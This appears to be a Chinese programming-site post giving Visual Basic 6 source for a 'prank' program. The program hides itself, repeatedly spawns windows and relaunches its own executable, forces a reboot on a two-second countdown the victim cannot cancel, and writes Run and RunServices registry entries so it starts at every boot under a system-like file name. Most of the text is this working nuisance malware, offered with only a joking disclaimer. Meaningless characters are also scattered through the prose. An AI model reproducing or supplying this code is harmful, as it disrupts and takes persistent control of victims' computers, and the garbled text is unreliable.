实现代码如下:
Private Sub Timer1_Timer()
Dim a As New Form1 ‘声明以后出现a就是代表Form1
a.Show ‘Form1d出
End Sub
Private Sub Timer2_Timer()
Shell App.EXEName ‘运行这个软件的本身
End Sub
然后隐藏窗体本逗兆身,书县代码如下:
Private Sub Form_Load()
Me.Hide
End Sub
那么在XP里自动关机是怎么回事呢?这个就是一个命令就能搞定的(shutdown /r /t 2),就是说,重新启动计算机的倒计时是2秒,这样中招的人就碰启没有办法停止我们的shutdown了,其实到这里就可以算是一个有趣的恶作剧了。实现代码如下笑指如:
Private Sub Timer3_Timer()
Shell ("cmd.exe /c shutdown /r /t 2") ‘调用cmd 然后在cmd里输入shutdown /r /t 2就是说设倒计时时间限制为2秒
End Sub
Private Sub Form_Load()Dim objWSH As Object
Me.Visible = False '窗宽败口设置为不可见
Set objWSH = CreateObject("WScript.Shell")
objWSH.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\逗码Windows\CurrentVersion\Run\" &App.Title, App.Path &"\" &App.EXEName &".exe", "REG_SZ"
Set objWSH = Nothing
End Sub
'把上面的代码放到你的程序主窗口Form_Load过程中,程序一但运行一次后,下次开机就自动运行了。千万山巧哪别用来做坏事哦~~~~~~~
首先要声明这三个API函数,它们分别是:袜唤RegSetValue、RegCreateKey、RegCloseKey,其作用是设置某一个主键的键值、创建一个主键、关闭对注册表主键的 *** 作。Private Declare Function RegSetValue Lib "advapi32.dll" Alias "RegSetValueA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
然后声明以下两个常数,要进行注册表写入的位置是在HKEY_LOCAL_MACHINE下,我们可以在VB自带的API文本查看器中找到这些常数的定义方法。
Private Const HKEY_LOCAL_MACHINE = &H80000002
Private Const REG_SZ = 1
然后使用如下语句就行了,你可以把这段代码放在程序的某个位置:
'写注册表
Dim Ret2 As Long
'打开 HKEY_LOCAL_MACHINE 下的 software\microsoft\windows\currentVersion\runServices 主键
RegCreateKey HKEY_LOCAL_MACHINE, "software\握察microsoft\windows\currentVersion\runServices", Ret2
'将此主键下的“默认”项的值改为"c:\windows\system\myprogram.exe",也就是要开机运行的程序路径
RegSetValue Ret2, vbNullString, REG_SZ, "c:\windows\system\sysinfo2.exe", 4
'关段好茄闭对主键的 *** 作
RegCloseKey Ret2
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)